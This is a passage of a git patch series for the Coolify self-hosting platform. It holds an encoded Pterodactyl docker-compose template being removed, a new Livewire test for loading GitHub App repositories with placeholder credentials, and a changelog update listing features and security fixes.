RF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9GUUROX1BURVJPREFDVFlMXzgwCiAgICAgIC0gJ0FETUlOX0VNQUlMPSR7QURNSU5fRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnQURNSU5fVVNFUk5BTUU9JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdBRE1JTl9GSVJTVE5BTUU9JHtBRE1JTl9GSVJTVE5BTUU6LUFkbWlufScKICAgICAgLSAnQURNSU5fTEFTVE5BTUU9JHtBRE1JTl9MQVNUTkFNRTotVXNlcn0nCiAgICAgIC0gJ0FETUlOX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICAgIC0gJ1BURVJPREFDVFlMX0hUVFBTPSR7UFRFUk9EQUNUWUxfSFRUUFM6LWZhbHNlfScKICAgICAgLSBBUFBfRU5WPXByb2R1Y3Rpb24KICAgICAgLSBBUFBfRU5WSVJPTk1FTlRfT05MWT1mYWxzZQogICAgICAtIEFQUF9VUkw9JFNFUlZJQ0VfRlFETl9QVEVST0RBQ1RZTAogICAgICAtICdBUFBfVElNRVpPTkU9JHtUSU1FWk9ORTotVVRDfScKICAgICAgLSAnQVBQX1NFUlZJQ0VfQVVUSE9SPSR7QVBQX1NFUlZJQ0VfQVVUSE9SOi1hdXRob3JAZXhhbXBsZS5jb219JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LWRlYnVnfScKICAgICAgLSBDQUNIRV9EUklWRVI9cmVkaXMKICAgICAgLSBTRVNTSU9OX0RSSVZFUj1yZWRpcwogICAgICAtIFFVRVVFX0RSSVZFUj1yZWRpcwogICAgICAtIFJFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBEQl9EQVRBQkFTRT1wdGVyb2RhY3R5bC1kYgogICAgICAtIERCX1VTRVJOQU1FPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBEQl9IT1NUPW1hcmlhZGIKICAgICAgLSBEQl9QT1JUPTMzMDYKICAgICAgLSBEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtIE1BSUxfRlJPTT0kTUFJTF9GUk9NCiAgICAgIC0gTUFJTF9EUklWRVI9JE1BSUxfRFJJVkVSCiAgICAgIC0gTUFJTF9IT1NUPSRNQUlMX0hPU1QKICAgICAgLSBNQUlMX1BPUlQ9JE1BSUxfUE9SVAogICAgICAtIE1BSUxfVVNFUk5BTUU9JE1BSUxfVVNFUk5BTUUKICAgICAgLSBNQUlMX1BBU1NXT1JEPSRNQUlMX1BBU1NXT1JECiAgICAgIC0gTUFJTF9FTkNSWVBUSU9OPSRNQUlMX0VOQ1JZUFRJT04KICB3aW5nczoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC93aW5nczp2MS4xMi4xJwogICAgcmVzdGFydDogdW5sZXNzLXN0b3BwZWQKICAgIHBvcnRzOgogICAgICAtICcyMDIyOjIwMjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fV0lOR1NfODQ0MwogICAgICAtICdUWj0ke1RJTUVaT05FOi1VVEN9JwogICAgICAtIFdJTkdTX1VTRVJOQU1FPXB0ZXJvZGFjdHlsCiAgICB2b2x1bWVzOgogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jaycKICAgICAgLSAnL3Zhci9saWIvZG9ja2VyL2NvbnRhaW5lcnMvOi92YXIvbGliL2RvY2tlci9jb250YWluZXJzLycKICAgICAgLSAnL3Zhci9saWIvcHRlcm9kYWN0eWwvOi92YXIvbGliL3B0ZXJvZGFjdHlsLycKICAgICAgLSAnL3RtcC9wdGVyb2RhY3R5bC86L3RtcC9wdGVyb2RhY3R5bC8nCiAgICAgIC0gJ3dpbmdzLWxvZ3M6L3Zhci9sb2cvcHRlcm9kYWN0eWwvJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9ldGMvY29uZmlnLnltbAogICAgICAgIHRhcmdldDogL2V0Yy9wdGVyb2RhY3R5bC9jb25maWcueW1sCiAgICAgICAgY29udGVudDogImRlYnVnOiBmYWxzZVxudXVpZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjOWFiYzgtYWJjNy1hYmM2LWFiYzUtYWJjNGFiYzNhYmMyXG50b2tlbl9pZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjMWFiYzJhYmMzYWJjNFxudG9rZW46IFJFUExBQ0UgRlJPTSBDT05GSUcgICNleGFtcGxlOiBhYmMxYWJjMmFiYzNhYmM0YWJjNWFiYzZhYmM3YWJjOGFiYzlhYmMxMGFiYzExYWJjMTJhYmMxM2FiYzE0YWJjMTVhYmMxNlxuYXBpOlxuICBob3N0OiAwLjAuMC4wXG4gIHBvcnQ6IDg0NDMgIyB1c2UgcG9ydCA0NDMgSU4gVEhFIFBBTkVMIGR1cmluZyBub2RlIHNldHVwXG4gIHNzbDpcbiAgICBlbmFibGVkOiBmYWxzZVxuICAgIGNlcnQ6IFJFUExBQ0UgRlJPTSBDT05GSUcgI2V4YW1wbGU6IC9ldGMvbGV0c2VuY3J5cHQvbGl2ZS93aW5ncy1hYmNhYmNhYmNhYmNhYmMuZXhhbXBsZS5jb20vZnVsbGNoYWluLnBlbVxuICAgIGtleTogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogL2V0Yy9sZXRzZW5jcnlwdC9saXZlL3dpbmdzLWFiY2FiY2FiY2FiY2FiYy5leGFtcGxlLmNvbS9wcml2a2V5LnBlbVxuICBkaXNhYmxlX3JlbW90ZV9kb3dubG9hZDogZmFsc2VcbiAgdXBsb2FkX2xpbWl0OiAxMDBcbiAgdHJ1c3RlZF9wcm94aWVzOiBbXVxuc3lzdGVtOlxuICByb290X2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWxcbiAgbG9nX2RpcmVjdG9yeTogL3Zhci9sb2cvcHRlcm9kYWN0eWxcbiAgZGF0YTogL3Zhci9saWIvcHRlcm9kYWN0eWwvdm9sdW1lc1xuICBhcmNoaXZlX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYXJjaGl2ZXNcbiAgYmFja3VwX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYmFja3Vwc1xuICB0bXBfZGlyZWN0b3J5OiAvdG1wL3B0ZXJvZGFjdHlsXG4gIHVzZXJuYW1lOiBwdGVyb2RhY3R5bFxuICB0aW1lem9uZTogVVRDXG4gIHVzZXI6XG4gICAgcm9vdGxlc3M6XG4gICAgICBlbmFibGVkOiBmYWxzZVxuICAgICAgY29udGFpbmVyX3VpZDogMFxuICAgICAgY29udGFpbmVyX2dpZDogMFxuICAgIHVpZDogOTg4XG4gICAgZ2lkOiA5ODhcbiAgZGlza19jaGVja19pbnRlcnZhbDogMTUwXG4gIGFjdGl2aXR5X3NlbmRfaW50ZXJ2YWw6IDYwXG4gIGFjdGl2aXR5X3NlbmRfY291bnQ6IDEwMFxuICBjaGVja19wZXJtaXNzaW9uc19vbl9ib290OiB0cnVlXG4gIGVuYWJsZV9sb2dfcm90YXRlOiB0cnVlXG4gIHdlYnNvY2tldF9sb2dfY291bnQ6IDE1MFxuICBzZnRwOlxuICAgIGJpbmRfYWRkcmVzczogMC4wLjAuMFxuICAgIGJpbmRfcG9ydDogMjAyMlxuICAgIHJlYWRfb25seTogZmFsc2VcbiAgY3Jhc2hfZGV0ZWN0aW9uOlxuICAgIGVuYWJsZWQ6IHRydWVcbiAgICBkZXRlY3RfY2xlYW5fZXhpdF9hc19jcmFzaDogdHJ1ZVxuICAgIHRpbWVvdXQ6IDYwXG4gIGJhY2t1cHM6XG4gICAgd3JpdGVfbGltaXQ6IDBcbiAgICBjb21wcmVzc2lvbl9sZXZlbDogYmVzdF9zcGVlZFxuICB0cmFuc2ZlcnM6XG4gICAgZG93bmxvYWRfbGltaXQ6IDBcbiAgb3BlbmF0X21vZGU6IGF1dG9cbmRvY2tlcjpcbiAgbmV0d29yazpcbiAgICBpbnRlcmZhY2U6IDE3Mi4yOC4wLjFcbiAgICBkbnM6XG4gICAgICAtIDEuMS4xLjFcbiAgICAgIC0gMS4wLjAuMVxuICAgIG5hbWU6IHB0ZXJvZGFjdHlsX253XG4gICAgaXNwbjogZmFsc2VcbiAgICBkcml2ZXI6IGJyaWRnZVxuICAgIG5ldHdvcmtfbW9kZTogcHRlcm9kYWN0eWxfbndcbiAgICBpc19pbnRlcm5hbDogZmFsc2VcbiAgICBlbmFibGVfaWNjOiB0cnVlXG4gICAgbmV0d29ya19tdHU6IDE1MDBcbiAgICBpbnRlcmZhY2VzOlxuICAgICAgdjQ6XG4gICAgICAgIHN1Ym5ldDogMTcyLjI4LjAuMC8xNlxuICAgICAgICBnYXRld2F5OiAxNzIuMjguMC4xXG4gICAgICB2NjpcbiAgICAgICAgc3VibmV0OiBmZGJhOjE3Yzg6NmM5NDo6LzY0XG4gICAgICAgIGdhdGV3YXk6IGZkYmE6MTdjODo2Yzk0OjoxMDExXG4gIGRvbWFpbm5hbWU6IFwiXCJcbiAgcmVnaXN0cmllczoge31cbiAgdG1wZnNfc2l6ZTogMTAwXG4gIGNvbnRhaW5lcl9waWRfbGltaXQ6IDUxMlxuICBpbnN0YWxsZXJfbGltaXRzOlxuICAgIG1lbW9yeTogMTAyNFxuICAgIGNwdTogMTAwXG4gIG92ZXJoZWFkOlxuICAgIG92ZXJyaWRlOiBmYWxzZVxuICAgIGRlZmF1bHRfbXVsdGlwbGllcjogMS4wNVxuICAgIG11bHRpcGxpZXJzOiB7fVxuICB1c2VfcGVyZm9ybWFudF9pbnNwZWN0OiB0cnVlXG4gIHVzZXJuc19tb2RlOiBcIlwiXG4gIGxvZ19jb25maWc6XG4gICAgdHlwZTogbG9jYWxcbiAgICBjb25maWc6XG4gICAgICBjb21wcmVzczogXCJmYWxzZVwiXG4gICAgICBtYXgtZmlsZTogXCIxXCJcbiAgICAgIG1heC1zaXplOiA1bVxuICAgICAgbW9kZTogbm9uLWJsb2NraW5nXG50aHJvdHRsZXM6XG4gIGVuYWJsZWQ6IHRydWVcbiAgbGluZXM6IDIwMDBcbiAgbGluZV9yZXNldF9pbnRlcnZhbDogMTAwXG5yZW1vdGU6IGh0dHA6Ly9wdGVyb2RhY3R5bDo4MFxucmVtb3RlX3F1ZXJ5OlxuICB0aW1lb3V0OiAzMFxuICBib290X3NlcnZlcnNfcGVyX3BhZ2U6IDUwXG5hbGxvd2VkX21vdW50czogW11cbmFsbG93ZWRfb3JpZ2luczpcbiAgLSBodHRwOi8vcHRlcm9kYWN0eWw6ODBcbiAgLSBQQU5FTCBET01BSU4gIyBleGFtcGxlOiBodHRwczovL3B0ZXJvZGFjdHlsLWFiY2FiY2FiY2FiY2F2Yy5leGFtcGxlLmNvbVxuYWxsb3dfY29yc19wcml2YXRlX25ldHdvcms6IGZhbHNlXG5pZ25vcmVfcGFuZWxfY29uZmlnX3VwZGF0ZXM6IGZhbHNlIgo=",
- "tags": [
- "game",
- "game server",
- "management",
- "panel",
- "minecraft"
- ],
- "category": "media",
- "logo": "svgs/pterodactyl.png",
- "minversion": "0.0.0",
- "port": "80, 8443"
- },
"qbittorrent": {
"documentation": "https://docs.linuxserver.io/images/docker-qbittorrent/?utm_source=coolify.io",
"slogan": "The qBittorrent project aims to provide an open-source software alternative to \u03bcTorrent.",
diff --git a/tests/Feature/GithubPrivateRepositoryTest.php b/tests/Feature/GithubPrivateRepositoryTest.php
new file mode 100644
index 000000000..19474caca
--- /dev/null
+++ b/tests/Feature/GithubPrivateRepositoryTest.php
@@ -0,0 +1,126 @@
+team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ $this->actingAs($this->user);
+ session(['currentTeam' => $this->team]);
+
+ $this->rsaKey = openssl_pkey_new([
+ 'private_key_bits' => 2048,
+ 'private_key_type' => OPENSSL_KEYTYPE_RSA,
+ ]);
+ openssl_pkey_export($this->rsaKey, $pemKey);
+
+ $this->privateKey = PrivateKey::create([
+ 'name' => 'Test Key',
+ 'private_key' => $pemKey,
+ 'team_id' => $this->team->id,
+ ]);
+
+ $this->githubApp = GithubApp::create([
+ 'name' => 'Test GitHub App',
+ 'api_url' => 'https://api.github.com',
+ 'html_url' => 'https://github.com',
+ 'custom_user' => 'git',
+ 'custom_port' => 22,
+ 'app_id' => 12345,
+ 'installation_id' => 67890,
+ 'client_id' => 'test-client-id',
+ 'client_secret' => 'test-client-secret',
+ 'webhook_secret' => 'test-webhook-secret',
+ 'private_key_id' => $this->privateKey->id,
+ 'team_id' => $this->team->id,
+ 'is_system_wide' => false,
+ ]);
+});
+
+function fakeGithubHttp(array $repositories): void
+{
+ Http::fake([
+ 'https://api.github.com/zen' => Http::response('Keep it logically awesome.', 200, [
+ 'Date' => now()->toRfc7231String(),
+ ]),
+ 'https://api.github.com/app/installations/67890/access_tokens' => Http::response([
+ 'token' => 'fake-installation-token',
+ ], 201),
+ 'https://api.github.com/installation/repositories*' => Http::response([
+ 'total_count' => count($repositories),
+ 'repositories' => $repositories,
+ ], 200),
+ ]);
+}
+
+describe('GitHub Private Repository Component', function () {
+ test('loadRepositories fetches and displays repositories', function () {
+ $repos = [
+ ['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']],
+ ['id' => 2, 'name' => 'beta-repo', 'owner' => ['login' => 'testuser']],
+ ];
+
+ fakeGithubHttp($repos);
+
+ Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
+ ->assertSet('current_step', 'github_apps')
+ ->call('loadRepositories', $this->githubApp->id)
+ ->assertSet('current_step', 'repository')
+ ->assertSet('total_repositories_count', 2)
+ ->assertSet('selected_repository_id', 1);
+ });
+
+ test('loadRepositories can be called again to refresh the repository list', function () {
+ $initialRepos = [
+ ['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']],
+ ];
+
+ fakeGithubHttp($initialRepos);
+
+ $component = Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
+ ->call('loadRepositories', $this->githubApp->id)
+ ->assertSet('total_repositories_count', 1);
+
+ // Simulate new repos becoming available after changing access on GitHub
+ $updatedRepos = [
+ ['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']],
+ ['id' => 2, 'name' => 'beta-repo', 'owner' => ['login' => 'testuser']],
+ ['id' => 3, 'name' => 'gamma-repo', 'owner' => ['login' => 'testuser']],
+ ];
+
+ fakeGithubHttp($updatedRepos);
+
+ $component
+ ->call('loadRepositories', $this->githubApp->id)
+ ->assertSet('total_repositories_count', 3)
+ ->assertSet('current_step', 'repository');
+ });
+
+ test('refresh button is visible when repositories are loaded', function () {
+ $repos = [
+ ['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']],
+ ];
+
+ fakeGithubHttp($repos);
+
+ Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
+ ->call('loadRepositories', $this->githubApp->id)
+ ->assertSeeHtml('title="Refresh Repository List"');
+ });
+
+ test('refresh button is not visible before repositories are loaded', function () {
+ Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
+ ->assertDontSeeHtml('title="Refresh Repository List"');
+ });
+});
From 769365713079bc12399751cd94d2fa1c88b456e3 Mon Sep 17 00:00:00 2001
From: "github-actions[bot]"
Date: Sun, 15 Mar 2026 17:04:45 +0000
Subject: [PATCH 22/95] docs: update changelog
---
CHANGELOG.md | 242 +++++++++++++++++++++++++++++++++++++++++++++++++++
1 file changed, 242 insertions(+)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 026dec470..45cbd48d2 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1225,6 +1225,66 @@ ### 🚀 Features
- *(service)* Disable maybe (#8167)
- *(service)* Add sure
- *(service)* Add sure (#8157)
+- *(docker)* Install PHP sockets extension in development environment
+- *(services)* Add Spacebot service with custom logo support (#8427)
+- Expose scheduled tasks to API
+- *(api)* Add OpenAPI for managing scheduled tasks for applications and services
+- *(api)* Add delete endpoints for scheduled tasks in applications and services
+- *(api)* Add update endpoints for scheduled tasks in applications and services
+- *(api)* Add scheduled tasks CRUD API with auth and validation (#8428)
+- *(monitoring)* Add scheduled job monitoring dashboard (#8433)
+- *(service)* Disable plane
+- *(service)* Disable plane (#8580)
+- *(service)* Disable pterodactyl panel and pterodactyl wings
+- *(service)* Disable pterodactyl panel and pterodactyl wings (#8512)
+- *(service)* Upgrade beszel and beszel-agent to v0.18
+- *(service)* Upgrade beszel and beszel-agent to v0.18 (#8513)
+- Add command healthcheck type
+- Require health check command for 'cmd' type with backend validation and frontend update
+- *(healthchecks)* Add command health checks with input validation
+- *(healthcheck)* Add command-based health check support (#8612)
+- *(jobs)* Optimize async job dispatches and enhance Stripe subscription sync
+- *(jobs)* Add queue delay resilience to scheduled job execution
+- *(scheduler)* Add pagination to skipped jobs and filter manager start events
+- Add comment field to environment variables
+- Limit comment field to 256 characters for environment variables
+- Enhance environment variable handling to support mixed formats and add comprehensive tests
+- Add comment field to shared environment variables
+- Show comment field for locked environment variables
+- Add function to extract inline comments from docker-compose YAML environment variables
+- Add magic variable detection and update UI behavior accordingly
+- Add comprehensive environment variable parsing with nested resolution and hardcoded variable detection
+- *(models)* Add is_required to EnvironmentVariable fillable array
+- Add comment field to environment variables (#7269)
+- *(service)* Pydio-cells.yml
+- Pydio cells svg
+- Pydio-cells.yml pin to stable version
+- *(service)* Add Pydio cells (#8323)
+- *(service)* Disable minio community edition
+- *(service)* Disable minio community edition (#8686)
+- *(subscription)* Add Stripe server limit quantity adjustment flow
+- *(subscription)* Add refunds and cancellation management (#8637)
+- Add configurable timeout for public database TCP proxy
+- Add configurable proxy timeout for public database TCP proxy (#8673)
+- *(jobs)* Implement encrypted queue jobs
+- *(proxy)* Add database-backed config storage with disk backups
+- *(proxy)* Add database-backed config storage with disk backups (#8905)
+- *(livewire)* Add selectedActions parameter and error handling to delete methods
+- *(gitlab)* Add GitLab source integration with SSH and HTTP basic auth
+- *(git-sources)* Add GitLab integration and URL encode credentials (#8910)
+- *(server)* Add server metadata collection and display
+- *(git-import)* Support custom ssh command for fetch, submodule, and lfs
+- *(ui)* Add log filter based on log level
+- *(ui)* Add log filter based on log level (#8784)
+- *(seeders)* Add GitHub deploy key example application
+- *(service)* Update n8n-with-postgres-and-worker to 2.10.4 (#8807)
+- *(service)* Add container label escape control to services API
+- *(server)* Allow force deletion of servers with resources
+- *(server)* Allow force deletion of servers with resources (#8962)
+- *(compose-preview)* Populate fqdn from docker_compose_domains
+- *(compose-preview)* Populate fqdn from docker_compose_domains (#8963)
+- *(server)* Auto-fetch server metadata after validation
+- *(server)* Auto-fetch server metadata after validation (#8964)
### 🐛 Bug Fixes
@@ -4517,6 +4577,110 @@ ### 🐛 Bug Fixes
- *(server)* Improve IP uniqueness validation with team-specific error messages
- *(service)* Glitchtip webdashboard doesn't load
- *(service)* Glitchtip webdashboard doesn't load (#8249)
+- *(api)* Improve scheduled tasks API with auth, validation, and execution endpoints
+- *(api)* Improve scheduled tasks validation and delete logic
+- *(security)* Harden deployment paths and deploy abilities (#8549)
+- *(service)* Always enable force https labels
+- *(traefik)* Respect force https in service labels (#8550)
+- *(team)* Include webhook notifications in enabled check (#8557)
+- *(service)* Resolve team lookup via service relationship
+- *(service)* Resolve team lookup via service relationship (#8559)
+- *(database)* Chown redis/keydb configs when custom conf set (#8561)
+- *(version)* Update coolify version to 4.0.0-beta.464 and nightly version to 4.0.0-beta.465
+- *(applications)* Treat zero private_key_id as deploy key (#8563)
+- *(deploy)* Split BuildKit and secrets detection (#8565)
+- *(auth)* Prevent CSRF redirect loop during 2FA challenge (#8596)
+- *(input)* Prevent eye icon flash on password fields before Alpine.js loads (#8599)
+- *(api)* Correct permission requirements for POST endpoints (#8600)
+- *(health-checks)* Prevent command injection in health check commands (#8611)
+- *(auth)* Prevent cross-tenant IDOR in resource cloning (#8613)
+- *(docker)* Centralize command escaping in executeInDocker helper (#8615)
+- *(api)* Add team authorization to domains_by_server endpoint (#8616)
+- *(ca-cert)* Prevent command injection via base64 encoding (#8617)
+- *(scheduler)* Add self-healing for stale Redis locks and detection in UI (#8618)
+- *(health-checks)* Sanitize and validate CMD healthcheck commands
+- *(healthchecks)* Remove redundant newline sanitization from CMD healthcheck
+- *(soketi)* Make host binding configurable for IPv6 support (#8619)
+- *(ssh)* Automatically fix SSH directory permissions during upgrade (#8635)
+- *(jobs)* Prevent non-due jobs firing on restart and enrich skip logs with resource links
+- *(database)* Close confirmation modal after import/restore
+- Application rollback uses correct commit sha
+- *(rollback)* Escape commit SHA to prevent shell injection
+- Save comment field when creating application environment variables
+- Allow editing comments on locked environment variables
+- Add Update button for locked environment variable comments
+- Remove duplicate delete button from locked environment variable view
+- Position Update button next to comment field for locked variables
+- Preserve existing comments in bulk update and always show save notification
+- Update success message logic to only show when changes are made
+- *(bootstrap)* Add bounds check to extractBalancedBraceContent
+- Pydio-cells svg path typo
+- *(database)* Handle PDO constant name change for PGSQL_ATTR_DISABLE_PREPARES
+- *(proxy)* Handle IPv6 CIDR notation in Docker network gateways (#8703)
+- *(ssh)* Prevent RCE via SSH command injection (#8748)
+- *(service)* Cloudreve doesn't persist data across restarts
+- *(service)* Cloudreve doesn't persist data across restarts (#8740)
+- Join link should be set correctly in the env variables
+- *(service)* Ente photos join link doesn't work (#8727)
+- *(subscription)* Harden quantity updates and proxy trust behavior
+- *(auth)* Resolve 419 session errors with domain-based access and Cloudflare Tunnels (#8749)
+- *(server)* Handle limit edge case and IPv6 allowlist dedupe
+- *(server-limit)* Re-enable force-disabled servers at limit
+- *(ip-allowlist)* Add IPv6 CIDR support for API access restrictions (#8750)
+- *(proxy)* Remove ipv6 cidr network remediation
+- Address review feedback on proxy timeout
+- *(proxy)* Add validation and normalization for database proxy timeout
+- *(proxy)* Mounting error for nginx.conf in dev
+- Enable preview deployment page for deploy key applications
+- *(application-source)* Support localhost key with id=0
+- Enable preview deployment page for deploy key applications (#8579)
+- *(docker-compose)* Respect preserveRepository setting when executing start command (#8848)
+- *(proxy)* Mounting error for nginx.conf in dev (#8662)
+- *(database)* Close confirmation modal after database import/restore (#8697)
+- *(subscription)* Use optional chaining for preview object access
+- *(parser)* Use firstOrCreate instead of updateOrCreate for environment variables
+- *(env-parser)* Capture clean variable names without trailing braces in bash-style defaults (#8855)
+- *(terminal)* Resolve WebSocket connection and host authorization issues (#8862)
+- *(docker-cleanup)* Respect keep for rollback setting for Nixpacks build images (#8859)
+- *(push-server)* Track last_online_at and reset database restart state
+- *(docker)* Prevent false container exits on failed docker queries (#8860)
+- *(api)* Require write permission for validation endpoints
+- *(sentinel)* Add token validation to prevent command injection
+- *(log-drain)* Prevent command injection by base64-encoding environment variables
+- *(git-ref-validation)* Prevent command injection via git references
+- *(docker)* Add path validation to prevent command injection in file locations
+- Prevent command injection and fix developer view shared variables error (#8889)
+- Build-time environment variables break Next.js (#8890)
+- *(modal)* Make confirmation modal close after dispatching Livewire actions (#8892)
+- *(parser)* Preserve user-saved env vars on Docker Compose redeploy (#8894)
+- *(security)* Sanitize newlines in health check commands to prevent RCE (#8898)
+- Prevent scheduled task input fields from losing focus
+- Prevent scheduled task input fields from losing focus (#8654)
+- *(api)* Add docker_cleanup parameter to stop endpoints
+- *(api)* Add docker_cleanup parameter to stop endpoints (#8899)
+- *(deployment)* Filter null and empty environment variables from nixpacks plan
+- *(deployment)* Filter null and empty environment variables from nixpacks plan (#8902)
+- *(livewire)* Add error handling and selectedActions to delete methods (#8909)
+- *(parsers)* Use firstOrCreate instead of updateOrCreate for environment variables
+- *(parsers)* Use firstOrCreate instead of updateOrCreate for environment variables (#8915)
+- *(ssh)* Remove undefined trackSshRetryEvent() method call (#8927)
+- *(validation)* Support scoped packages in file path validation (#8928)
+- *(parsers)* Resolve shared variables in compose environment
+- *(parsers)* Resolve shared variables in compose environment (#8930)
+- *(api)* Cast teamId to int in deployment authorization check
+- *(api)* Cast teamId to int in deployment authorization check (#8931)
+- *(git-import)* Ensure ssh key is used for fetch, submodule, and lfs operations (#8933)
+- *(ui)* Info logs were not highlighted with blue color
+- *(application)* Clarify deployment type precedence logic
+- *(git-import)* Explicitly specify ssh key and remove duplicate validation rules
+- *(application)* Clarify deployment type precedence logic (#8934)
+- *(git)* GitHub App webhook endpoint defaults to IPv4 instead of the instance domain
+- *(git)* GitHub App webhook endpoint defaults to IPv4 instead of the instance domain (#8948)
+- *(service)* Hoppscotch fails to start due to db unhealthy
+- *(service)* Hoppscotch fails to start due to db unhealthy (#8949)
+- *(api)* Allow is_container_label_escape_enabled in service operations (#8955)
+- *(docker-compose)* Respect preserveRepository when injecting --project-directory
+- *(docker-compose)* Respect preserveRepository when injecting --project-directory (#8956)
### 💼 Other
@@ -4982,6 +5146,11 @@ ### 💼 Other
- Bump superset to 6.0.0
- Trim whitespace from domain input in instance settings (#7837)
- Upgrade postgres client to fix build error
+- Application rollback uses correct commit sha (#8576)
+- *(deps)* Bump rollup from 4.57.1 to 4.59.0
+- *(deps)* Bump rollup from 4.57.1 to 4.59.0 (#8691)
+- *(deps)* Bump league/commonmark from 2.8.0 to 2.8.1
+- *(deps)* Bump league/commonmark from 2.8.0 to 2.8.1 (#8793)
### 🚜 Refactor
@@ -5610,6 +5779,12 @@ ### 🚜 Refactor
- *(services)* Improve some service slogans
- *(ssh-retry)* Remove Sentry tracking from retry logic
